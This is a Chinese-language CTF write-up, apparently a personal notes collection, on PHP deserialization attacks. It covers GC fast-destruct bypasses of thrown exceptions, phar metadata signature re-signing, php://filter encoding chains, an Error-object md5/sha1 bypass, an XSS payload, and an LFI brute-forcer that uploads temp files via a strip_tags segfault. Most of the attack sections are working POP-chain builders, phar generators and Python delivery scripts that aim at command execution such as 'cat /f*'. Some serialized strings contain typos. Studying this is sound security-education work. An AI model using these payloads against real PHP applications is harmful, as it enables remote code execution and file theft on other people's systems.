报错&GC相关问题

PHP是存在GC的语言,而反序列化对象时的__destruct就是对已new对象的回收,一个小栗子

<?php
error_reporting(0);
class test{
    public $num;
    public function __construct($num){
        $this->num = $num;
        echo $this->num."__construct"."</br>";
    }
    public function __destruct(){
        echo $this->num."__destruct"."</br>";
    }
}

new test(1);
$a = new test(2);
$b = new test(3);
// 1__construct</br>1__destruct</br>2__construct</br>3__construct</br>3__destruct</br>2__destruct</br>

当下面的三行代码均和第一行一样,无引用和指向,那么都将会是依次的construct+destruct,但是在上述例子中,只有对象1没有引用和指向 所以只有它创建后立刻回收;再看下面这两种情况

$c = array(new test(1), 0);
$c[0] = $c[1];
$a = new test(2);
$b = new test(3);
// 1__construct</br>1__destruct</br>2__construct</br>3__construct</br>3__destruct</br>2__destruct</br>
$c = array(new test(1), 0);
// $c[0] = $c[1];
$a = new test(2);
$b = new test(3);
// 1__construct</br>2__construct</br>3__construct</br>3__destruct</br>2__destruct</br>1__destruct</br>

————很好理解:无变量指向的new的对象创建后即回收,有指向的按创建时间倒序回收(先创建的最后回收

问题的关键在于可能来搅局的throw new Exception();,比如

unserialize($_GET['url']);
throw new Exception("xxx");

在这种情况下程序异常报错退出,我们pop链中重要的__destruct不会执行(它在对象正常销毁时被执行),比如一个很简单的pop链

<?php
highlight_file(__FILE__);
error_reporting(0);

class errorr0{
    public $num;
    public function __destruct(){
        echo "hello __destruct";
        echo $this->num;
    }
}
class errorr1{
    public $err;
    public function __toString()
    {
        echo "hello __toString";
        $this->err->flag();
    }
}

class errorr2{
    public $err;
    public function flag()
    {
        echo "hello __flag()";
        eval($this->err);
    }
}

$e1 = new errorr0();
$e2 = new errorr1();
$e3 = new errorr2();

$e3->err = "phpinfo();";
$e2->err = $e3;
$e1->num = $e2;

$result = serialize($e1);
unserialize($result);
// O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}

如果我们向最后一行的unserialize之后再添加throw new Exception,我们会发现原来的phpinfo界面立刻就会消失,阻止__destruct的执行

针对这种情况,我们选择将对象插在有NULL元素的数组中

$e1 = new errorr0();
$e2 = new errorr1();
$e3 = new errorr2();

$e3->err = "phpinfo();";
$e2->err = $e3;
$e1->num = $e2;

$c = array(0=>$e1, 1=>NULL);
// a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}
// a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}

而直接serialize($c)的结果也无法达到预期,数组中i=0是我们的对象,i=1是NULL,我们手动把i:1改为i:0,也就是改为NULL 让其失去引用,提前GC触发__destruct

phar中的应用

而这种改动在phar中会造成签名错误(phpstorm会无法再识别),需要重新生成签名(不过依旧无法识别)

from hashlib import sha1

file = open("arsenetang.phar","rb").read()
text = file[:-28]  # 读取开始到末尾除签名外内容
last = file[-8:]   # 读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last  # 生成新的文件内容 此时sha1正确

open("change.phar","wb").write(new_file)

[NSSCTF 2021]prize_p1

<?php
highlight_file(__FILE__);
class getflag {
    function __destruct() {
        // echo getenv("FLAG");    // 目标
        echo "flag{111}";   // 本地测试
    }
}

class A {
    public $config;
    function __destruct() {
        if ($this->config == 'w') {
            $data = $_POST[0];  // 传入phar内容
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            file_put_contents("./tmp/a.txt", $data);    // 传入phar内容
        } else if ($this->config == 'r') {
            $data = $_POST[0];  // 文件路径
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            echo file_get_contents($data);  // phar触发反序列化
        }
    }
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
    die("我知道你想干吗,我的建议是不要那样做。");
}

unserialize($_GET[0]);  // 传入A的序列化
throw new Error("那么就从这里开始起航吧"); // 需绕 数组+i:0

对于A,写入

<?php
class A {
    public $config='w';
}
$a = new A();
echo serialize($a);
// O:1:"A":{s:6:"config";s:1:"w";}

<?php
class A {
    public $config='r';
}
$a = new A();
echo serialize($a);
// O:1:"A":1:{s:6:"config";s:1:"r";}

对于phar

<?php
class getflag {
}
$a[] = new getflag();
$a[] = 1;

$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   // 设置stub,增加gif文件头
$phar -> addFromString('test.txt','test');  // 添加要压缩的文件
$phar -> setMetadata($a);  // 将自定义meta-data存入manifest
$phar -> stopBuffering();

将.metadata.bin中前面的一个i:1改为i:0后改签名

from hashlib import sha1

file = open("phar.phar","rb").read()
text = file[:-28]  # 读取开始到末尾除签名外内容
last = file[-8:]   # 读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last  # 生成新的文件内容 此时sha1正确

open("change.phar","wb").write(new_file)

python发包,避免特殊字符

import requests
import gzip

url = 'http://localhost/temp/tttt.php'

file = open("./chang.phar", "rb") #打开文件
file_out = gzip.open("./ars2.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()

requests.post(
    url,
    params={
        0: 'O:1:"A":{s:6:"config";s:1:"w";}'
    },
    data={
        0: open('./ars2.zip', 'rb').read()
    }
) # 写入

res = requests.post(
    url,
    params={
        0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'
    },
    data={
        0: 'phar://tmp/a.txt'
    }
) # 触发

print(res.text)

image-20220327000823801

得到flag

参考:浅析GC回收机制与phar反序列化

[GFCTF 2021]文件查看器

User.class.php

<?php
	error_reporting(0);
    class User{
        public $username;   // new Myerror();
        public $password;   // [new User(), "check"];

        public function login(){
            include("view/login.html");
            if(isset($_POST['username'])&&isset($_POST['password'])){
                $this->username=$_POST['username'];
                $this->password=$_POST['password'];
                if($this->check()){
                    header("location:./?c=Files&m=read");
                }
            }
        }

        public function check(){
            if($this->username==="admin" && $this->password==="admin"){
                return true;
            }else{
                echo "{$this->username}的密码不正确或不存在该用户"; // Myerror::__toString
                return false;
            }
        }

        public function __destruct(){
            (@$this->password)();   // pop入口 可以通过数组形式访问任意类的任意方法 User::check
        }

        public function __call($name,$arg){ // 不存在方法
            ($name)();
        }
    }

Files.class.php

<?php
    class Files{
        public $filename;

        public function __construct(){
            $this->log();
        }

        public function read(){
            include("view/file.html");
            if(isset($_POST['file'])){  // 传入文件名
                $this->filename=$_POST['file'];
            }else{
                die("请输入文件名");
            }
            $contents=$this->getFile();
            echo '<br><textarea class="file_content" type="text" value='."<br>".$contents;
        }

        public function filter(){
            if(preg_match('/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i',$this->filename)){    // phar无疑 虽然被ban了 加filter绕过(utf-16提示
                throw new Error("这不合理");
            }
        }

        public function getFile(){
            $contents=file_get_contents($this->filename);
            $this->filter();    // 对filename过滤
            if(isset($_POST['write'])){
                file_put_contents($this->filename,$contents);   // 写入内容 phar
            }
            if(!empty($contents)){
                return $contents;   // 读phar 触发反序列化
            }else{
                die("该文件不存在或者内容为空");
            }
        }

         public function log(){
            $log=new Myerror();
        }

        public function __get($key){    // 读不存在属性
            ($key)($this->arg); // 目标 可rce
            // arg = 'cat /f*';
        }
    }

Myerror.class.php

<?php
    class Myerror{
        public $message;    // new Files();

        public function __construct(){
            ini_set('error_log','/var/www/html/log/error.txt');
            ini_set('log_errors',1);
        }

        public function __tostring(){
            $test=$this->message->{$this->test};    // Files::__get
            return "test";
            // test = 'system'
        }
    }

构造pop链时,注意password

$user = new User();
$files = new Files();
$myerror = new Myerror();

$files->arg = 'cat /f*';
$myerror->message = $files;
$myerror->test = 'system';
$user->username = $myerror;
// $user->password = [new User(), "check"]; 这样会使$user的两个字段都赋不上值
$user->password = [$user, "check"];

echo serialize($user);
// O:4:"User":2:{s:8:"username";O:7:"Myerror":2:{s:7:"message";O:5:"Files":2:{s:8:"filename";N;s:3:"arg";s:3:"dir";}s:4:"test";s:6:"system";}s:8:"password";a:2:{i:0;r:1;i:1;s:5:"check";}}

经测试可以触发,之后就是如何写phar的问题了

看代码可以知道没有直接的unserialize点,那大概率是phar,虽然没有上传处 但是Myerror类的构造方法中可以写日志

image.png

可以看到日志中有脏数据,我们需要借助过滤器的编码来删去;首先是清空文件内容,可以用php://filter/read=consumed/resource=log/error.txt

之后观察日志内容,脏数据+文件内容+脏数据,只用b64肯定不行,我们尝试把除文件之外的其他内容变为b64的非法字符,这样最后b64解码即可

我们可以先将数据转换为utf-16le的格式,由原先的utf-8转换为utf-16le时,每一位字符后面都会直接添加一个不可见字符\0,再转回utf-8时,之后后面带\0的才会被转换 其余的会被当成乱码;这符合我们的要求

image.png

题中utf-16le被ban了,我们用ucs-2来代替

最后要处理的时空字节,file_get_contents在加载有空字节的文件时会报warning,我们用quoted-printable这种编码,即php://filter/convert.quoted-printable-decode这种过滤器;它对于所有可打印字符的ascii码(除=以外)都不变,对于=和不可打印的ascii码以及非ascii码的数据编码时 会先将每个字节的二进制代码用两个16进制数表示 再在前面加一个等号,比如=->=3D

我们的编码顺序

base64-encode-> utf-8-> ucs-2-> convert.quoted-printable-decode

会被解码的顺序

convert.quoted-printable-decode-> ucs-2-> utf-8-> base64-decode

经过这三次编码后就会有纯净的phar文件内容

最最最后的考点,throw new Error的存在,我们还需要改i:0和签名

<?php

class User{
    public $username;
    public $password;

    public function __construct()
    {
        $this->username = new Myerror();
    }
}

class Files{
    public $filename;
}

class Myerror{
    public $message;
}

$user = new User();
$files = new Files();
$myerror = new Myerror();

$files->arg = 'cat /f*';
$myerror->message = $files;
$myerror->test = 'system';
$user->username = $myerror;
$user->password = [$user, "check"];

$a = [$user, null];

$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   // 设置stub,增加gif文件头
$phar -> addFromString('test.txt','test');  // 添加要压缩的文件
$phar -> setMetadata($a);  // 将自定义meta-data存入manifest
$phar -> stopBuffering();

改签名和i:0(略

编码

<?php
$b=file_get_contents('change.phar');
$payload=iconv('utf-8','UCS-2',base64_encode($b));
file_put_contents('payload.txt',quoted_printable_encode($payload));
$s = file_get_contents('payload.txt');
$s = preg_replace('/=\r\n/', '', $s);
echo $s;

开打:首先写payload,然后第一个过滤器

php://filter/write=convert.quoted-printable-decode/resource=log/error.txt

第二个

php://filter/write=convert.iconv.ucs-2.utf-8/resource=log/error.txt

第三个

php://filter/write=convert.base64-decode/resource=log/error.txt

这里出现一个问题,末尾等号少一个,我们需要在payload末尾再加一个=00=3D让等号正常露出

改好之后清空日志文件,直接三个过滤器一起用

php://filter/read=convert.quoted-printable-decode|convert.iconv.ucs-2.utf-8|convert.base64-decode/resource=log/error.txt

得到flag

参考:wp

原生报错/异常类

Error/Exception - 绕md5

[极客大挑战 2020]Greatphp

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

平常都是用数组,但是这是在类里面,数组就不行了,得用原生类Error(php7)或Exception(php5 or 7),它有__toString方法,被触发后会以字符串形式输出当前保存情况,包括错误信息和当前报错的行号,而跟传入的参数没有关系;所以说可以构造两个类的实例,它们行号相同(被__toString调用后输出信息一样),但是本身不相同(传入参数不等)

$payload = "?><?=include~".urldecode(urlencode(~'/flag'))."?>";
$a = new Error($payload,1); $b = new Error($payload,2);
$s = new SYCLOVER();
$s->syc = $a;
$s->lover = $b;
echo urlencode(serialize($s));

注意$a$b写到一行

Error/Exception - XSS

参考:关于如何利用php的原生类进行XSS

<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
echo unserialize($b);

二次序列化/fast destruct

https://zhuanlan.zhihu.com/p/405838002

<?php
$raw = 'O:1:"A":1:{s:1:"a";s:1:"b";}';
echo serialize(unserialize($raw));
//O:1:"A":1:{s:1:"a";s:1:"b";}

上面是一个相当正常的二次序列化的栗子(将序列化结果反序列化后再序列化),值得注意的是这里并不是真的有一个类A,在操作时 php内部会把不存在的类转换成__PHP_Incomplete_Class这种特殊的类,同时将原始的类名A存放在__PHP_Incomplete_Class_Name这个属性中,其余属性存放方式不变;而我们在序列化这个对象的时候,serialize遇到__PHP_Incomplete_Class这个特殊类会倒推回来,序列化成__PHP_Incomplete_Class_Name值为类名的类,我们看到的序列化结果不是O:22:"__PHP_Incomplete_Class_Name":2:{xxx}而是O:1:"A":1:{s:1:"a";s:1:"b";},所以如果我们构造

<?php
$raw = 'a:2:{i:0;O:8:"stdClass":1:{s:3:"abc";N;}i:1;O:22:"__PHP_Incomplete_Class":1:{s:3:"abc";N;}}';
var_dump(unserialize($raw));
var_dump(unserialize(serialize(unserialize($raw))));

image-20220421101436718

可以注意到在二次序列化后__PHP_Incomplete_Class为空,出现serialize(unserialize($x))!=$x的情况

[强网杯 2021]WhereIsUWebShell

https://miaotony.xyz/2021/06/28/CTF_2021qiangwang/#toc-heading-5

 <!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
// index.php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
    setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
    include "function.php";
    echo "I see your Cookie<br>";
    $res = unserialize($_COOKIE['ctfer']);
    if(preg_match('/myclass/i',serialize($res))){

        throw new Exception("Error: Class 'myclass' not found ");
    }
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{
    public function __destruct()
    {   if($this->qwb) echo file_get_contents($this->qwb);
    }
}
?>
<?php
// function.php
function __autoload($classname){
    require_once "/var/www/html/$classname.php";
}

简化一下就是

if (preg_match('/myClass/i', unserialize(serialize($_COOKIE['ctfer'])))){
    throw new Exception("Error: Class 'myclass' not found ");
}

很显然上下文中没有myClass这个类 二次序列化之后会直接报错,其中一种处理方式是去掉末尾的}

O:7:"myclass":1:{s:1:"h";O:5:"Hello":1:{s:3:"qwb";s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";}
O%3A7%3A%22myclass%22%3A1%3A%7Bs%3A1%3A%22h%22%3BO%3A5%3A%22Hello%22%3A1%3A%7Bs%3A3%3A%22qwb%22%3Bs%3A36%3A%22e2a7106f1cc8bb1e1318df70aa0a3540%2Ephp%22%3B%7D

或者当属性为空时,属性值反序列化之后不会赋值到对象上,这样就能绕过myclass的限制(修改序列化数字元素个数)

O:8:"stdClass":4:{s:0:"";O:7:"myclass":0:{}s:1:"b";O:5:"Hello":1:{s:3:"qwb",s:36:"e2a7106f1cc8bb1e1318df70aa0a3540.php";}}
// e2a7106f1cc8bb1e1318df70aa0a3540.php
<?php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";

// bff139fa05ac583f685a523ab3d110a0.php
function PNG($file)	// 处理上传的PNG图片
{
    if(!is_file($file)){die("我从来没有见过侬");}
    $first = imagecreatefrompng($file);
    if(!$first){
        die("发现了奇怪的东西2333");
    }
    $size = min(imagesx($first), imagesy($first));	// 以最小宽度为限切割为正方形 我们直接生成的时候就搞个正方形
    unlink($file);
    $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
    if ($second !== FALSE) {
        imagepng($second, $file);
        imagedestroy($second);//销毁,清内存
    }
    imagedestroy($first);
}

// 45b963397aa40d4a0063e0d85e4fe7a1.php
function GenFiles(){
    $files = array();
    $str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $len=strlen($str)-1;
    for($i=0;$i<10;$i++){
        $filename="php";
        for($j=0;$j<6;$j++){
            $filename  .= $str[rand(0,$len)];
        }
        // file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
        $files[] = $filename;
    }
    return $files;
}

$file = isset($_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b'])?$_GET['72aa377b-3fc0-4599-8194-3afe2fc9054b']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
    PNG($file);
}
include($file);	// 包含那个PNG

$res = @scandir($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']);
if(isset($_GET['dd9bd165-7cb2-446b-bece-4d54087185e1'])&&$_GET['dd9bd165-7cb2-446b-bece-4d54087185e1']==='/tmp'){
    $somthing = GenFiles();
    $res = array_merge($res,$somthing);
}
// /e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=x&dd9bd165-7cb2-446b-bece-4d54087185e1=/tmp
shuffle($res);
@print_r($res);
?>

我们利用LFI via segmentfault那个技巧 | LFI via SegmentFault

include.php?file=php://filter/string.strip_tags/resource=/etc/passwd

string.strip_tags可以导致php在执行过程中Segment Fault

如果请求中同时存在一个上传文件的请求,这个文件会被保留,存储在/tmp/phpxxxxxxxxxxx(xxxxx是数字+字母的6位数),这个文件连续保存,不用竞争直接爆破(多线程上传文件,生成多个phpxxxxxxxxxxx)

# -*- coding: utf-8 -*-

import requests
import string
import itertools

charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

base_url = "http://eci-2ze9gh3z7jcw29alwhuz.cloudeci1.ichunqiu.com"


def upload_file_to_include(url, file_content):
    files = {'file': ('evil.jpg', file_content, 'image/jpeg')}
    try:
        response = requests.post(url, files=files)
        print(response)
    except Exception as e:
        print(e)


def generate_tmp_files():
    with open('miao.png', 'rb') as fin:
        file_content = fin.read()
    phpinfo_url = "%s/e2a7106f1cc8bb1e1318df70aa0a3540.php?72aa377b-3fc0-4599-8194-3afe2fc9054b=php://filter/string.strip_tags/resource=passwd" % (
        base_url)
    length = 6
    times = int(len(charset) ** (length / 2))
    for i in range(times):
        print("[+] %d / %d" % (i, times))
        upload_file_to_include(phpinfo_url, file_content)


def main():
    generate_tmp_files()


if __name__ == "__main__":
    main()

反弹shell,suid提权后翻找flag